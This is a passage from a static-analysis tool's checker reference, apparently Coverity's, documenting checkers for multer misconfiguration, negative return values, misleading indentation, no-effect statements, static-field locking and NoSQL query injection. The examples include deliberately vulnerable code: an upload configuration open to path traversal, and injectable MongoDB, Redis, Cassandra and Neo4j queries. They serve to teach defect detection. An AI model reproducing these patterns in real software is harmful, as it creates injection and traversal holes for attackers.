 SensitiveDataType.SDT_MOBILE_ID)
```

Additionally, you can use the `@SensitiveData(SensitiveDataType.SDT_MOBILE_ID)` instead of the source primitives (see `@SensitiveData`).

The parameter to this model primitive marks a password, cryptographic key, or security token:

```
com.coverity.primitives.SecurityPrimitives.mobile_id_misuse_sink(Object o)
```

## 4.225. MULTER\_MISCONFIGURATION

### 4.225.1. Overview

**Supported Languages:** JavaScript, TypeScript

The `MULTER_MISCONFIGURATION` checker finds the following cases of insecure configuration of the module `multer` middleware:

- Applying the module `multer` globally, thus allowing file upload on any route, which might lead to unauthorized uploads.
- Using an unrestricted number of file and non-file fields in an upload request. The file fields are specified by the `files` property, the non-file fields are specified by the `fields` property, and the total number of file and non-file fields in a multipart request can be specified with the `parts` property. All are part of the `limits` configuration in the `multer` options.
- Using an unrestricted file count when uploading multiple files per request.
- Setting the `preservePath` property to `true` in the `multer` options, allowing users to specify the upload path, which might result in path traversal.
- Using the insecure `storage` configuration in the `multer` options, allowing users to store uploaded files in memory, putting the application at risk of denial-of-service (DoS) attacks if a malicious user uploads very large files.
- Using a custom file validation function in the `multer` configuration that might be bypassed.

The `MULTER_MISCONFIGURATION` checker is disabled by default; you can enable it with the `webapp-security` option to the `cov-analyze` command.

### 4.225.2. Examples

This section provides one or more `MULTER_MISCONFIGURATION` examples.

In the following example, a `MULTER_MISCONFIGURATION` defect is displayed for the property `preservePath` set to `true` in the configuration of the `multer` instance:

```
var express = require('express');
var multer = require('multer');
var app = express();

//create multer instance
var upload1 = multer({
 //keep path pre-pended to filename - might make app vulnerable to directory
 traversal
 preservePath: true,
 storage: multer.diskStorage({
 filename: function(req, file, callback){
 callback(null, file.originalname);
 },
 //destination as string
 destination: 'tmp/uploads',
 }),
 limits: {
 fileSize: 1024, //bytes
 fields: 25,
 parts: 100,
 }
});

//upload file
app.post('/upload', upload1.single('file'), function(req, res){
 res.status(200).send('File uploaded to ' + req.file.path);
});
```

## 4.226. NEGATIVE\_RETURNS

Quality Checker

### 4.226.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

NEGATIVE\_RETURNS finds many misuses of negative integers. Negative integers and function return values that can potentially be negative must be checked before being used (for example, as array indexes, loop bounds, algebraic expression variables or size/length arguments to a system call).

Negative integer misuses can cause memory corruption, process crashes, infinite loops, integer overflows, and security defects (if a user is able to control improperly checked input).

Common negative integer misuses include:

- Assigning a negative value to a signed integer variable before using it as a static array index.
- Using a negative function return value either directly or by casting it to an unsigned integer.

A signed, negative integer implicitly cast to an unsigned integer will yield a very large value. If that value is incorrectly bounds-checked before being used, a process can, for example, allocate too much

memory, allow a loop to process too long, overrun and corrupt memory, or yield an integer overflow. These defects are inherently hard to detect because their repercussions may not immediately appear during process execution.

**Enabled by default:** `NEGATIVE_RETURNS` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.226.2. Examples

This section provides one or more `NEGATIVE_RETURNS` examples.

```
void basic_negative() {
 int buff[1024];
 int x = some_function(); // some_function() might return -1.
 buff[x] = 0; // Defect: buffer underrun at buff[-1]
}
```

```
void subtle_negative() {
 unsigned x;
 x = signed_count_func(); // Returns signed -1 on error.
 // -1 cast to an unsigned is a very large integer.
 loop_with_param(x); // Uses x as an upper bound.
 // Defect: loop might never end or last too long.
}
```

```
void another_subtle_negative(){
 unsigned int c;
 for (i = 0; (c=read(fd, buf, sizeof(buf)))>0; i+=c)

 // read() returns -1 on error, c is now a very large integer
 if (write(1, buf, c) != c) // Defect: Too many bytes written to stdout.
 die("Write call failed");
}
```

### 4.226.3. Models

Incorrect inferences, either interprocedurally or within a single function, can cause false positives. In the interprocedural case, you can write custom models to suppress a false positive. In the single function case, you can suppress the false positive with the `//coverity` code-line annotation.

`NEGATIVE_RETURNS` looks for two different types of incorrect interprocedural information:

1. A function return value could be negative.
2. A potentially negative value is used in a called function in a dangerous way.

For example, suppose Coverity Analysis analyzes the `return_positive_value` function incorrectly and determines that it could return `-1` when, in fact, that is not possible. To suppress this false positive, you can add the following model to the library:

```
int return_positive_value(void)
```

```
{
 int ret;
 assert(ret >= 0);
 return ret;
}
```

This model indicates that the returned value is always non-negative.

The second false positive type is possible if, for example, Coverity Analysis determines that a negative variable is used as an array index and is unable to infer a code bounds check. In this case, you can add a model to explicitly indicate that the function *does* do an appropriate bounds check:

```
int correct_bounds_check(int idx, int* buf)
{
 assert(idx >= 0);
 return buf[idx];
}
```

This model indicates that the index is always non-negative before being used.

#### 4.226.4. Events

This section describes one or more events produced by the `NEGATIVE_RETURNS` checker.

- `negative_return_fn` : A function can return a negative value.
- `negative_returns` : A potentially negative value was passed to a sink.
- `var_tested_neg` : A variable can be negative and is tracked to see if it reaches a sink.

### 4.227. NESTING\_INDENT\_MISMATCH

Quality Checker

#### 4.227.1. Overview

**Supported Languages:** C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Scala, and TypeScript (see note about `for` in Scala examples.)

`NESTING_INDENT_MISMATCH` reports many cases where the indentation structure of the code does not match the syntactic nesting. Often this is caused by forgetting to add braces where they are optional, for example, around the body of an `if` statement. The indentation of code implies a greater nesting level than the syntax indicates.

`NESTING_INDENT_MISMATCH` only fires when the bad indentation is misleading; for example, when two statements are indented at the same level but are not in the same block.

**Enabled by default:** `NESTING_INDENT_MISMATCH` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

There are three possible causes of this issue:

- The code is logically incorrect because of incorrect nesting, but the indentation suggests that the developer intended to nest it properly.
- The code is logically correct but excessively indented.
- The code is correct as written but identified as an issue due to the use of unusual formatting. In this case, you should classify it as Intentional in Coverity Connect.

This checker also infers from indentation the so-called "dangling else" issue. In the following example, it appears that the developer intended `do_something_else()` to be the `else` of the first `if` statement (that is, when `condition1` is false). However, the `else` is incorrectly written to apply to the second `if` (that is, when `condition1` is true and `condition2` is false, with nothing happening when `condition1` is false):

```
if (condition1)
 if (condition2)
 do_something();
else // "dangling"
 do_something_else();
```

When the second `if` does not have its own `else`, this code should be written as follows:

```
if (condition1)
{
 if (condition2)
 do_something();
}
else
 do_something_else();
```

Nesting code improperly can produce a broad range of effects. If a developer intends to (but does not) nest a statement under an `if` statement, the code will be executed unconditionally. If the statement was meant to be nested under a looping statement (such as `while` or `for`), it will not be executed within the body of the loop, and it will be unconditionally executed after the loop terminates.

Although there is no run-time consequence to incorrect indentation, such misleading formatting can detract from the readability of code.

Fixing issues that arise from incorrect nesting is usually a matter of creating a block (by adding curly braces around the multiple statements that are all meant to be nested). In the case of a multi-statement macro, it is usually best to include the necessary curly braces in the macro definition itself. When the nesting level is correct, the code simply needs to be unindented.

#### 4.227.1.1. Determining indentation of TAB characters

The `NESTING_INDENT_MISMATCH` uses a tab stop based algorithm. The occurrence of a tab character in leading whitespace behaves as though there were enough spaces in the input to advance to the next tab stop.

Definitions:

- leading whitespace: all spaces and tabs that occur before a statement on a line
- space: ASCII 32
- tab: horizontal tab (ASCII 9)
- tab stop: the column on the screen to which a tab will advance the cursor
- tab width: the number of characters between tab stops (8 is the hardcoded default)

Consider an old-style typewriter that has its tab stops set 8 spaces apart. If the typist hits the space bar twice and then the TAB key, the carriage advances to the 8th column, (whereas if the typist had typed a TAB and then two space characters, it would be on the 10th column). If the typist enters one more space and then TAB again, the carriage advances to the 16th column. If the typist then hits TAB once (advancing to the 24th column) and then hits a space, the typewriter is now on the 25th column. Another space puts it at the 26th column. If the typist then types: ACME, the word acme starts on the 26th column from the left. Shown with \s as spaces as \t as tabs, this series of input shows as:

```
\s[1]\s[2]\t[8]\t[16]\t[24]\s[25]\s[26]ACME
```

Now consider another means for ACME to start at the 26th column:

```
\t[8]\t[16]\t[24]\s[25]\s[26]ACME
```

In both cases above the NESTING\_INDENT\_MISMATCH checker considers ACME to start at the same position.

Given the source:

```
\s[1]\s[2]\t[8]\t[16]\t[24]if(some_condition)
\s[1]\s[2]\t[8]\t[16]\t[24]\s[25]\s[26]do_thing_1();
\t[8]\t[16]\t[24]\s[25]\s[26]do_thing_2();
```

It appears to a user with tab width set to 8 as:

```
if(some_condition)
do_thing_1();
do_thing_2(); // NESTING_INDENT_MISMATCH defect
```

... so the defect is reported at the second statement.

## 4.227.2. Examples

This section provides one or more NESTING\_INDENT\_MISMATCH examples.

In the following example, a parent `if` statement with a non-compound `then` sub-statement `do_one_thing_conditionally();` (here called the `nephew`) is followed by the statement

`do_another_thing_conditionally();` (here called the `uncle` because it is a sibling of the parent, not the child, or nephew). The indentation suggests that the developer intended to nest `do_another_thing_conditionally();` under the `if` statement (as a sibling of `nephew`), when instead, it will be executed unconditionally:

```
if (condition) /* parent */
 do_one_thing_conditionally(); /* nephew */
 do_another_thing_conditionally(); /* uncle */
```

#### 4.227.2.1. C/C++

In the following C/C++ example, the developer clearly intended to condition all of the actions of the expansion of `MULTI_STMT_MACRO` on the specified `condition`. Though the `foo(p->x);` portion of the statement is conditional, the `bar(p->y);` portion is executed unconditionally after the `if` statement:

```
#define MULTI_STMT_MACRO(x, y) foo(x); bar(y) /* user ';' */
/* ... */
if (condition)
 MULTI_STMT_MACRO(p->x, p->y);
```

#### 4.227.2.2. PHP

```
function test($i) {
 if ($i)
 x();
 y(); // NESTING_INDENT_MISMATCH defect
}
```

#### 4.227.2.3. Scala

In other languages, such as C or C++, the following is considered a `NESTING_INDENT_MISMATCH` defect:

```
for (int i = 0; i < 10; ++i)
 x();
 y(); // NESTING_INDENT_MISMATCH defect
```

because the indentation suggests that the developer intends that `y();` will be executed 10 times (but it won't).

The Scala version of `NESTING_INDENT_MISMATCH` does not support the detection of a mismatch under a `for` construct. Therefore in Scala, the following will not report a defect:

```
for(i <- 1 to 10)
 x();
```

```
y(); // not reported in Scala
```

In this example, `y()` is a defect because of the indentation, which suggests that the developer intended it to execute conditionally:

```
def test(b : Boolean) {
 if(b)
 x()
 y() // defect here
}
```

In this example, `y()` is a defect because of the indentation, which suggests that it is logically part of the `else` clause of the `if`. However it is executed unconditionally:

```
def test(b : Boolean) {
 if(b)
 x()
 else
 y()
 z() // NESTING_INDENT_MISMATCH defect
}
```

In this example, `y()` is a defect because it is on the same line as `x()`, which suggests that the developer intended `y()` to be executed conditionally upon the value of `b`. However `y()` is executed unconditionally:

```
def test(b: Boolean) {
 if(b)
 x(); y(); // NESTING_INDENT_MISMATCH defect
}
```

In this example, the `else` clause is a defect because of the indentation, which suggests that the developer intended it to be executed conditionally upon the value of `b1`, However it is executed conditionally upon the value of `b2`:

```
def test(b1 : Boolean, b2 : Boolean) {
 if(b1)
 if(b2)
 do_something()
 else
 do_something_else() // NESTING_INDENT_MISMATCH (dangling else)
}
```

### 4.227.3. Options

This section describes one or more `NESTING_INDENT_MISMATCH` options.

- `NESTING_INDENT_MISMATCH:report_bad_indentation:<boolean>` - When this option is true, the checker will report cases where the indentation does not match the syntactic

nesting, but the code is likely to be logically correct. In these cases, the run-time behavior is correct, but the code might continue to be misleading and difficult to maintain. Defaults to `NESTING_INDENT_MISMATCH:report_bad_indentation:false` for all languages.

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `high`. For C/C++, C#, Java, PHP.

#### 4.227.4. Events

This section describes one or more events produced by the `NESTING_INDENT_MISMATCH` checker.

- `actual_if` - The `if` statement that the `else` actually goes with, syntactically.
- `dangling_else` - The `else` clause that is either indented incorrectly or does not go with the `if` statement that its indentation suggests.
- `intended_if` - The `if` statement for which the `else` was intended, based on the indentation.
- `parent` - Statement under which the `nephew` is nested.
- `nephew` - Statement that is nested under the `parent`.
- `uncle` - Statement with indentation that matches a `nephew` when the statement is actually a sibling of the `parent`.
- `multi_stmt_macro` - Macro that expands to two or more statements, only the first of which is nested under the `parent`. (Not for Scala)

### 4.228. NO\_EFFECT

Quality Checker

#### 4.228.1. Overview

**Supported Languages:** C, C++, JavaScript, Objective-C, Objective-C++, PHP, Ruby, Scala, TypeScript

`NO_EFFECT` finds many instances of statements or expressions that do not accomplish anything, or statements that perform an action that is not the intended action. Usually, this issue is caused by a typographical error, oversight, or misunderstanding of language rules, such as operator precedence.

**Enabled by default:** `NO_EFFECT` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

#### 4.228.2. Examples

This section provides one or more `NO_EFFECT` examples.

#### 4.228.2.1. C/C++

See the C/C++ code examples in Section 4.228.3, “Options”.

#### 4.228.2.2. JavaScript

```
function resetArray(array) {
 var i = 0 ;
 while (i < array.length) {
 array[i++] == null; // Defect
 }
}
```

#### 4.228.2.3. PHP

```
function test($x, $y) {
 &a === &b; // Defect here
}
```

#### 4.228.2.4. Ruby

```
def math_asserts()
 assert(Math::PI > 3.14)
 assert(Math::PI < 3.15)
 Math::E > 2.71 # Defect
 assert(Math::E < 2.72)
end
```

#### 4.228.2.5. Scala

In this example, the function does not return a value and the value of the expression `x == y` is discarded without being used, which results in a defect.

```
def test_with_defect(x: Int, y: Int) { // does not return value
 x == y; // NO_EFFECT defect here because result of equality test is not returned
}
```

By contrast, a similar function, which does return the result of the expression `x == y` does not have this defect

```
def test_without_defect(x: Int, y: Int) : Boolean = { // returns a value
 x == y; // no defect here because result of equality test is returned
}
```

In this example, a function that does not return a value has a defect because the value is discarded without effect:

```
def test() { // does not return a value
 5; // NO_EFFECT defect here
}
```

```
}

```

In this example, a local variable is assigned to itself, which has no effect:

```
def test() {
 var x : Int = 0;
 x = x; // defect - local self-assignment
}
```

### 4.228.3. Options

This section describes one or more `NO_EFFECT` options.

- `NO_EFFECT:array_null:<boolean>` - When this option is true, the checker reports a check of an array against NULL. Checks in macros are not reported. Defaults to `NO_EFFECT:array_null:true` (C, C++, Objective-C, Objective-C++ only)

```
void array_null() {
 unsigned int a[3];
 unsigned int b[1];
 unsigned int c[2];
 if (*a == 0)
 a[0];
 if (b == 0) // The entire array b is compared to 0.
 b[1];
 if (c[1] == 0)
 c[1];
}
```

- `NO_EFFECT:bad_memset:<boolean>` - When this option is true, the checker reports defects when suspicious arguments are passed to the `memset` function. A size argument of 0 can indicate that the size and fill arguments are switched. A fill value outside the range of -1 to 255 will likely lead to truncation. A fill value of 0 is likely intended to be 0. Defaults to `NO_EFFECT:bad_memset:true` (C, C++, Objective-C, Objective-C++ only)

```
void bad_memset() {
 int *p;
 memset(p, '0', 1); // Fill value is '0', and 0 is more likely.
 memset(p, 1, 0); // Length is 0, and so likely that 1 and 0 reversed.
 memset(p, 0xabcd, 1); // Fill is truncated, and so memory
 // will not contain the 0xabcd pattern.
}
```

- `NO_EFFECT:extra_comma:<boolean>` - When this option is true, the checker reports a defect if the left operand of a comma operator has no side effects. Defaults to `NO_EFFECT:extra_comma:true` (C, C++, Objective-C, Objective-C++ only)

```
void extra_comma() {
 int a, b;
 for (a = 0, b = 0; a < 10, b < 10; a++, b++);
}
```

```

 // Extra comma, and so a < 10 is not used.
 }

```

- `NO_EFFECT:incomplete_delete:<boolean>` - When this option is true, the checker reports a defect for the pattern `delete a, b`. In that pattern, only the first pointer is freed. Defaults to `NO_EFFECT:incomplete_delete:true` (C, C++, Objective-C, Objective-C++ only)

```

void incomplete_delete() {
int *p, *q;
 delete p, q; // The pointer q is not deleted.
}

```

- `NO_EFFECT:no_effect_deref:<boolean>` - When this option is true, the checker reports useless dereferences of pointers. Defaults to `NO_EFFECT:no_effect_deref:true` (C, C++, Objective-C, Objective-C++ only)

```

void no_effect_deref() {
int *p;
 *p++; // *p is useless
}

```

- `NO_EFFECT:no_effect_test:<boolean>` - When this option is true, the checker reports useless boolean tests. The programmer probably intended to assign, rather than compare, the arguments. Defaults to `NO_EFFECT:no_effect_test:true` (C, C++, Objective-C, Objective-C++ only)

```

void no_effect_test() {
int a, b;
 a == b; // Test has no effect, and is
 // likely intended to be the assignment a = b
}

```

- `NO_EFFECT:report_useless_continue:<boolean>` - When this option is true, the checker reports the "continue" statements that can be removed without affecting code execution. Defaults to `NO_EFFECT:report_useless_continue:false` (C, C++, Objective-C, Objective-C++ only).

This checker option is automatically set to true if the `--aggressiveness-level` option of the **coverity-analyze** command is set to high.

Examples:

```

void test_for(){
 int i, j;
 for (i=0, j=0; i<20; i++){
 j+=1;
 continue; // #defect#NO_EFFECT##useless_continue
 }
}

```

```

void test_do_if() {
 int i = 5, j = 1;
}

```

```

do {
 if (i++ < 10) {
 j += 2;
 continue; //#defect#NO_EFFECT##useless_continue
 }
 else {
 j += 3;
 continue; //#defect#NO_EFFECT##useless_continue
 }
}
while (i < 20);
}

```

```

void test_switch(){
 int i = 3, j = 0;
 while (j++ < 100) {
 switch(j) {
 case 9:
 {
 i--;
 continue; // Removing this "continue" changes execution flow
 }
 default:
 i+=2;
 continue; //#defect#NO_EFFECT##useless_continue
 } // switch
 } // while
}

```

- `NO_EFFECT:self_assign:<boolean>` - When this option is true, the checker reports assignments of fields and globals to themselves. Defaults to `NO_EFFECT:self_assign:true` (all languages except Scala)

```

int a;
void self_assign(struct foo *ptr) {
 a = a; // assignment to self, global
 ptr->x = ptr->x; // assignment to self, field
}

```

- `NO_EFFECT:self_assign_in_macro:<boolean>` -When this option is true, the checker reports self assigns where the right-hand side is in a macro. Defaults to `NO_EFFECT:self_assign_in_macro:false` (C, C++, Objective-C, Objective-C++ only)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

```

#define swap(x) x
void self_assign_in_macro() {
 unsigned short csum;
 csum = swap(csum); // assignment to self, rhs inside macro
}

```

- `NO_EFFECT:self_assign_to_local:<boolean>` - When this option is true, the checker reports assignments of locals and parameters to themselves. Defaults to `NO_EFFECT:self_assign_to_local:false` (all languages)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `medium`). For C/C++ and PHP.

```
void self_assign_local() {
 int a;
 a = a; // assignment to self, local
}
```

- `NO_EFFECT:static_through_instance:<boolean>` - When this option is true, the checker will *NOT* report cases where a static field or method is accessed using an instance pointer. Defaults to `NO_EFFECT:static_through_instance:true` (C, C++, Objective-C, Objective-C++ only)

Example:

```
struct C { static void foo(); int x; };
C * c; c->foo(); // Becomes "c, C::foo()". c is unnecessary,
 // but not flagged.
C stackc; stackc.x = 4;
```

- `NO_EFFECT:unsigned_compare:<boolean>` - option that reports unsigned comparisons against 0, unless the expression's parent is a manual signed cast. Defaults to `NO_EFFECT:unsigned_compare:true` (C, C++, Objective-C, Objective-C++ only)

```
void unsigned_compare() {
 unsigned int a;
 if (a < 0) // a is unsigned, and so the comparison is never true
 a++;
}
```

- `NO_EFFECT:unsigned_compare_macros:<boolean>` - When this option is true, the checker reports the comparison of an unsigned quantity against 0 in macros. Defaults to `NO_EFFECT:unsigned_compare_macros:true` (C, C++, Objective-C, Objective-C++ only)

```
#define MAYBE(a) if (a < 0) a++ // a is unsigned, and so the
 //
 comparison to 0 is never true.
void testfn() {
 unsigned int a;
 MAYBE(a);
}
```

- `NO_EFFECT:unsigned_enums:<boolean>` - When this option is true, the checker reports the comparison of an `enum` value against 0 as a defect when the underlying type of the `enum` is unsigned and the result is always the same. Note that the underlying type of an `enum` is partly defined by the compiler implementation. Defaults to `NO_EFFECT:unsigned_enums:false` (C, C++, Objective-C, Objective-C++ only)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `medium` (or to `high`).

#### 4.228.4. Events

This section describes one or more events produced by the `NO_EFFECT` checker.

- The C/C++ events are identical to the `NO_EFFECT` options. See Section 4.228.3, “Options”.
- The JavaScript and TypeScript version of the checker generates only one type of event: `*unused_expr`. The `given` expression has no side effects and is unused.

### 4.229. NON\_STATIC\_GUARDING\_STATIC

Quality, Concurrency Checker

#### 4.229.1. Overview

**Supported Languages:** C#, Java

`NON_STATIC_GUARDING_STATIC` finds many instances in which a non-static field is locked to guard a static field. This could place a lock on many different objects, one for each instance of the class that contains the non-static field that is locked, which would be equivalent to having no lock at all. Non-static locking defects include instance method locking with the method-level `synchronized` keyword in Java and the `MethodImplOptions.Synchronized` attribute in C#.

This checker only infers that a particular non-static lock is used to guard a static field if the static field is written while a non-static lock is held. If this is the case, all reads and writes to the static field that are performed while holding the non-static lock are marked as `NON_STATIC_GUARDING_STATIC` defects.

**Enabled by default:** `NON_STATIC_GUARDING_STATIC` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

#### 4.229.2. Examples

This section provides one or more `NON_STATIC_GUARDING_STATIC` examples.

##### 4.229.2.1. C#

In the following example, the analysis infers that `refCount` is guarded by `mutex`. If multiple threads with references to multiple `Foo` objects call `DoStuff()` concurrently, after all threads complete, `Foo.refCount` might have a value that is less than the number of times `DoStuff()` was called, or have a value that is inconsistent with the number of valid serial executions of the threads.

```
class Foo {
 private static int refCount = 0;
```

```
private Object mutex = new Object();

public void DoStuff() {
 lock (mutex) {
 refCount++; //A NON_STATIC_GUARDING_STATIC defect here.
 }
}
}
```

The following examples show defects for both a read and write of a particular static field.

```
public class Example {
 private object myLock; // Note that this is an instance field.
 private static long myResource;
 public void method() {
 lock(myLock) {
 myResource++; //A NON_STATIC_GUARDING_STATIC defect here.
 }
 }

 public long method2() {
 lock(myLock) {
 return myResource; //A NON_STATIC_GUARDING_STATIC defect here.
 }
 }
}
```

In the following examples, the checker does not report defects on the static fields because they are only read. Without a write in a locked-on-non-static context, there is not strong enough evidence to determine that a bug exists.

```
public class NoWritesExample {
 private object myLock; // Note that this is an instance field.
 private static long myResource;
 public bool method() {
 lock(myLock) {
 return myResource > 5; //No NON_STATIC_GUARDING_STATIC defect here.
 }
 }

 public long method2() {
 lock(myLock) {
 return myResource; //No NON_STATIC_GUARDING_STATIC defect here.
 }
 }
}
```

The following example shows an instance method lock that uses the method-level `MethodImplOptions.Synchronized` attribute on a static field.

```
using System.Runtime.CompilerServices;
```

```
class Foo2 {
 private static int refCount = 0;

 [MethodImpl(MethodImplOptions.Synchronized)]
 public void DoStuff() {
 refCount++; //A NON_STATIC_GUARDING_STATIC defect here.
 }
}
```

#### 4.229.2.2. Java

In the following example, the analysis infers that `refCount` is guarded by `mutex`. If multiple threads with references to multiple `Foo` objects call `doStuff()` concurrently, after all threads complete, `Foo.refCount` might have a value that is less than the number of times `doStuff()` was called, or have a value that is inconsistent with the number of valid serial executions of the threads.

```
class Foo {
 private static int refCount = 0;
 private Object mutex = new Object();

 public void doStuff() {
 synchronized (mutex) {
 refCount++; //A NON_STATIC_GUARDING_STATIC defect here.
 }
 }
}
```

The following example shows an instance method lock that uses the method-level `synchronized` keyword on a static field.

```
class Foo2 {
 private static int refCount = 0;

 public synchronized void doStuff() {
 refCount++; //A NON_STATIC_GUARDING_STATIC defect here.
 }
}
```

#### 4.229.3. Events

This section describes one or more events produced by the `NON_STATIC_GUARDING_STATIC` checker.

- `lock_event` - Shows the lock name for each lock acquisition.
- `guarded_access` - A static field reference is dereferenced.

### 4.230. NOSQL\_QUERY\_INJECTION

Security Checker

### 4.230.1. Overview

**Supported Languages:** C#, Go, Java, JavaScript, Python, PHP

`NOSQL_QUERY_INJECTION` finds NoSQL query injection vulnerabilities, which arise when uncontrolled dynamic data is passed into a NoSQL database application such as CouchDB. This data is then used to construct a query. The injection of tainted data might change the intent of the query, which can bypass security checks or execute arbitrary code.

**For C#, Java, JavaScript, Python and PHP,** `NOSQL_QUERY_INJECTION` is disabled by default. To enable it, use the `--enable` option to the `cov-analyze` command.

**For Go,** `NOSQL_QUERY_INJECTION` is enabled by default.

**Web application security checker enablement:** To enable `NOSQL_QUERY_INJECTION` along with other Web application checkers, use the `--webapp-security` option.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.230.2. Defect Anatomy

A `NOSQL_QUERY_INJECTION` defect shows a dataflow path by which an untrusted (tainted) source is used to construct a database query. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The final part of the dataflow path shows the tainted string used in a database query.

### 4.230.3. Examples

This section provides one or more `NOSQL_QUERY_INJECTION` examples.

#### 4.230.3.1. C#

```
using System.Web;
using CassandraSharp;

class NoSqlQueryInjection {

 void Example(HttpRequest Request, ICqlCommand Command) {
 // Reading a user-controllable HTTP parameter
 string Query = Request["QueryString"];

 // Executing an untrusted NOSQL query command
 Command.Execute<string>(Query); // NOSQL_QUERY_INJECTION defect
 }
}
```

### 4.230.3.2. Go

The example below shows a `NOSQL_QUERY_INJECTION` defect caused by a query created by concatenating data from an HTTP request.

```
package main

import (
 "net/http"
 "github.com/go-redis/redis"
)

func NoSqlInjection(req http.Request) {
 client := redis.NewClient(&redis.Options{
 Addr: "localhost:6379",
 Password: "",
 DB: 0,
 })
 query := "return {key," + req.URL.Query().Get("val") + "}"
 vals, err := client.Eval(query, nil).Result() // NOSQL_QUERY_INJECTION defect
}
```

### 4.230.3.3. Java

In the following example, the parameter `query` is tainted. The parameter is concatenated to a query string. This query string is then passed to `ExecutionEngine.execute`, which is a sink for this checker.

```
public void executeQuery(String query) {
 ...
 String fullQuery = "start n=node(*) where n.name = '" + query
 + "' return n, n.name");
 ExecutionEngine engine = new ExecutionEngine();
 ExecutionResult result = engine.execute(fullQuery);
 ...
}
```

An attacker can change the intent of the query by inserting single quotes. Following the insertion, the attacker could add additional syntax to potentially return different nodes, potentially accessing unauthorized data.

### 4.230.3.4. JavaScript

The following code example shows a vulnerable Node.js Web application using the Express framework. It uses the input coming from a user into a MongoDB query:

```
var MongoClient = require('mongodb').MongoClient;

var express = require('express');
var app = express();
```

```
var url = 'mongodb://localhost:27017/mapReduceDB';

app.get('/summary', function(req, res) {
 console.log(req.query.n);
 MongoClient.connect(url, function(err, db) { // NOSQL_QUERY_INJECTION defect
 var collection = db.collection('sourceData');
 collection.find({$where: req.query.n });
 });
 res.sendStatus('Status:' + 1);
});

app.listen(3000, function() {console.log('Listening ');});
```

#### 4.230.3.5. PHP

In the following example, the PHP program pulls a value from a URL parameter and supplies that value directly to the query: this constitutes a NOSQL injection defect.

```
<?php

$manager = new
\MongoDB\Driver\Manager("mongodb://admin:adim@localhost:27017");
$query = new MongoDB\Driver\Query(['name' => $_GET['name']]);

$result = $manager->executeQuery('db', $query);

?>
```

#### 4.230.4. Options

This section describes one or more `NOSQL_QUERY_INJECTION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `NOSQL_QUERY_INJECTION:distrust_all:<boolean>` - [Go, JavaScript, PHP, Python only] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `NOSQL_QUERY_INJECTION:distrust_all:false`.

This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `NOSQL_QUERY_INJECTION:trust_command_line:<boolean>` - [Go, JavaScript, PHP, Python only] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `NOSQL_QUERY_INJECTION:trust_command_line:true`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` **cov-analyze** command line options;.
- `NOSQL_QUERY_INJECTION:trust_console:<boolean>` - [Go, JavaScript, PHP, Python only] Setting this Web application security option to false causes the analysis to treat data from the console

as tainted. Defaults to `NOSQL_QUERY_INJECTION:trust_console:true`. Setting this checker option will override the global `--trust-console` and `--distrust-console` **cov-analyze** command line options.

- `NOSQL_QUERY_INJECTION:trust_cookie:<boolean>` - [Go, JavaScript, PHP, Python only] Setting this Web application security option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `NOSQL_QUERY_INJECTION:trust_cookie:false`. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` **cov-analyze** command line options.
- `NOSQL_QUERY_INJECTION:trust_database:<boolean>` - [Go, JavaScript, PHP, Python only] Setting this Web application security option to false causes the analysis to treat data from a database as tainted. Defaults to `NOSQL_QUERY_INJECTION:trust_database:true`. Setting this checker option will override the global `--trust-database` and `--distrust-database` **cov-analyze** command line options.
- `NOSQL_QUERY_INJECTION:trust_environment:<boolean>` - [Go, JavaScript, PHP, Python only] Setting this Web application security option to false causes the analysis to treat data from environment variables as tainted. Defaults to `NOSQL_QUERY_INJECTION:trust_environment:true`. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` **cov-analyze** command line options.
- `NOSQL_QUERY_INJECTION:trust_filesystem:<boolean>` - [Go, JavaScript, PHP, Python only] Setting this Web application security option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `NOSQL_QUERY_INJECTION:trust_filesystem:true`. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` **cov-analyze** command line options.
- `NOSQL_QUERY_INJECTION:trust_http:<boolean>` - [Go, JavaScript, PHP, Python only] Setting this Web application security option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `NOSQL_QUERY_INJECTION:trust_http:false`. Setting this checker option will override the global `--trust-http` and `--distrust-http` **cov-analyze** command line options.
- `NOSQL_QUERY_INJECTION:trust_http_header:<boolean>` - [Go, JavaScript, PHP, Python only] Setting this Web application security option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `NOSQL_QUERY_INJECTION:trust_http_header:false`. Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` **cov-analyze** command line options.
- `NOSQL_QUERY_INJECTION:trust_network:<boolean>` - [Go, JavaScript, PHP, Python only] Setting this Web application security option to false causes the analysis to treat data from the network as tainted. Defaults to `NOSQL_QUERY_INJECTION:trust_network:false`. Setting this checker option will override the global `--trust-network` and `--distrust-network` **cov-analyze** command line options.
- `NOSQL_QUERY_INJECTION:trust_rpc:<boolean>` - [Go, JavaScript, PHP, Python only] Setting this Web application security option to false causes the analysis to treat data from RPC requests as

